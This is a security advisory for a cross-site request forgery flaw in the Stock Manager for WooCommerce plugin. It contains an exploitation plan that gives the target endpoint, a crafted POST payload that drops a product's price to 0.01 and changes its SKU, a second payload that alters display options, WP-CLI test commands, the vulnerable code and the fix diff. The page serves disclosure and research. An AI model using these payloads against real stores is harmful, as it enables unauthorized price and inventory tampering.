Stock Manager for WooCommerce < 3.6.0 - Cross-Site Request Forgery
Description
The Stock Manager for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to 3.6.0 (exclusive). This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<3.6.0What Changed in the Fix
Changes introduced in v3.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-24365 (Stock Manager for WooCommerce CSRF) ## 1. Vulnerability Summary The **Stock Manager for WooCommerce** plugin (versions < 3.6.0) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the plugin's administration logic where it pr…
Show full research plan
Exploitation Research Plan: CVE-2026-24365 (Stock Manager for WooCommerce CSRF)
1. Vulnerability Summary
The Stock Manager for WooCommerce plugin (versions < 3.6.0) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the plugin's administration logic where it processes product updates. Specifically, the file admin/views/admin.php handles $_POST data to update product attributes (prices, stock, SKUs) without any nonce validation. An attacker can trick a logged-in administrator or shop manager into submitting a crafted POST request, leading to unauthorized modification of store inventory data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php?page=stock-manager - Method: POST
- Vulnerable Hook: The code is triggered during the rendering of the
stock-manageradmin page, which occurs whenadmin/views/admin.phpis included. - Authentication Required: Administrator or Shop Manager (anyone with access to the Stock Manager menu).
- Impact: Change product prices, stock status, stock quantities, and SKUs across the entire store.
3. Code Flow
- When an admin navigates to the "Stock Manager" page, WordPress loads the registered menu page.
- The plugin's main class
Stock_Manager_Admin(inadmin/class-stock-manager-admin.php) manages the page rendering. - The file
admin/views/admin.phpis included to render the interface. - At the beginning of
admin/views/admin.php(lines 14-20), the following logic executes:$product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0; $product = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); if ( ! empty( $product_id ) ) { $stock->save_all( $product ); } $stockis an instance ofWSM_Stock. The methodsave_all(inadmin/includes/class-wsm-stock.php) is called:public function save_all( $data ) { $post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); foreach ( $data['product_id'] as $item ) { WSM_Save::save_one_item( $post, $item ); } }WSM_Save::save_one_itemcallssave_data, which uses WooCommerce CRUD methods (e.g.,$_product->set_regular_price(),$_product->save()) to commit changes to the database.- Critical Failure: There is no call to
check_admin_referer()orwp_verify_nonce()before thesave_allcall.
4. Nonce Acquisition Strategy
This vulnerability is characterized by the complete absence of a nonce check for the product update action in admin/views/admin.php. Therefore, no nonce acquisition is required to exploit this specific vector.
5. Exploitation Strategy
The goal is to demonstrate that an unauthenticated attacker can force an admin to change a product's price to 0.01 and its SKU to PWNED.
Step-by-Step Plan:
- Identify Target Product: Find a valid product ID (e.g., ID
123). - Craft POST Request: The request must target the admin page URL and include the
product_idarray along with the fields to be modified. - Execute via Admin Session: Use the
http_requesttool (simulating a victim admin session) to send the payload.
Request Details:
- URL:
http://[target-site]/wp-admin/admin.php?page=stock-manager - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body Parameters:
product_id[]:123(The ID of the target product)regular_price:0.01sku:PWNED-SKUmanage_stock:yesstock:9999
6. Test Data Setup
- Ensure WooCommerce is installed and configured.
- Install Stock Manager for WooCommerce version 3.5.0 or lower.
- Create a test product:
wp eval ' $product = new WC_Product_Simple(); $product->set_name("Target Product"); $product->set_regular_price("100.00"); $product->set_sku("ORIGINAL-SKU"); $product->save(); echo $product->get_id(); ' - Identify the ID returned by the command above.
7. Expected Results
- The server should respond with a
200 OK(as it continues to render the admin page). - The product with the specified ID will have its price updated to
0.01and SKU updated toPWNED-SKU.
8. Verification Steps
After the http_request, verify the change using WP-CLI:
# Check price and SKU
wp eval '
$product = wc_get_product(TARGET_ID);
printf("SKU: %s, Price: %s\n", $product->get_sku(), $product->get_regular_price());
'
Successful exploitation will show: SKU: PWNED-SKU, Price: 0.01.
9. Alternative Approaches
The file admin/views/admin.php also contains another unprotected action:
- Action:
save_filter_display - Parameter:
page-filter-display - Impact: Modifies the
wsm_display_optionWordPress option, allowing an attacker to change which columns (thumbnails, prices, weight) are visible to the administrator in the plugin's dashboard.
Request for Alternative:
- URL:
http://[target-site]/wp-admin/admin.php?page=stock-manager - Body:
page-filter-display=1&price=no&weight=no - Verification:
wp option get wsm_display_option
Summary
The Stock Manager for WooCommerce plugin is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 3.6.0. The administration logic responsible for updating product attributes and display options fails to perform nonce validation, allowing attackers to modify store inventory data (prices, SKUs, stock levels) by tricking a logged-in administrator into visiting a malicious link.
Vulnerable Code
// admin/views/admin.php lines 16-32 $product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0; // phpcs:ignore $product = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore if ( ! empty( $product_id ) ) { $stock->save_all( $product ); // add redirect. } /** * Save display option. */ $page_filter_display = ( ! empty( $_POST['page-filter-display'] ) ) ? wc_clean( wp_unslash( $_POST['page-filter-display'] ) ) : ''; // phpcs:ignore if ( ! empty( $page_filter_display ) ) { $stock->save_filter_display( $product ); } --- // admin/includes/class-wsm-stock.php lines 206-213 public function save_all( $data ) { $post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore foreach ( $data['product_id'] as $item ) { WSM_Save::save_one_item( $post, $item ); } }
Security Fix
@@ -134,7 +134,7 @@ 'hide_empty' => false, ) ), - function( $carry, $item ) { + function ( $carry, $item ) { $carry[ $item->term_id ] = html_entity_decode( $item->name ); return $carry; }, @@ -151,7 +151,7 @@ 'hide_empty' => false, ) ), - function( $carry, $item ) { + function ( $carry, $item ) { $carry[ $item->slug ] = $item->name; return $carry; }, @@ -280,7 +280,7 @@ // Show screen option for React App. add_action( 'load-' . $hook, - function() { + function () { add_filter( 'screen_options_show_screen', function () { @@ -462,7 +462,6 @@ } return $wsm_rating_text; - } /** @@ -489,7 +488,6 @@ } return $wsm_text; - } /** @@ -203,18 +200,6 @@ } /** - * Save all meta data. - - - * @param array $data The column key to name map. - */ - public function save_all( $data ) { - $post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore - foreach ( $data['product_id'] as $item ) { - WSM_Save::save_one_item( $post, $item ); - } - } - - /** * Save all meta data * * @param array $data The column display data. @@ -13,23 +13,6 @@ exit; } -$stock = $this->stock(); - -/** - * Save all data. - */ -$product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0; // phpcs:ignore -$product = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array(); // phpcs:ignore -if ( ! empty( $product_id ) ) { - $stock->save_all( $product ); - // add redirect. -} - -/** - * Save display option. - */ -$page_filter_display = ( ! empty( $_POST['page-filter-display'] ) ) ? wc_clean( wp_unslash( $_POST['page-filter-display'] ) ) : ''; // phpcs:ignore -if ( ! empty( $page_filter_display ) ) { - $stock->save_filter_display( $product ); -} - ?> <div class="wrap"> <h2><?php echo esc_html( get_admin_page_title() ); ?></h2>
Exploit Outline
To exploit this CSRF vulnerability, an attacker must craft a POST request targeting the `/wp-admin/admin.php?page=stock-manager` endpoint. The request payload must include an array of target product IDs in the `product_id[]` parameter, along with the desired attributes to change (e.g., `regular_price`, `sku`, `stock`, `manage_stock`). Since the plugin does not verify nonces during the processing of this request in `admin/views/admin.php`, the attacker can use social engineering to trick a logged-in administrator or shop manager into executing the request. Successful execution allows for unauthorized modification of product prices and inventory levels.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.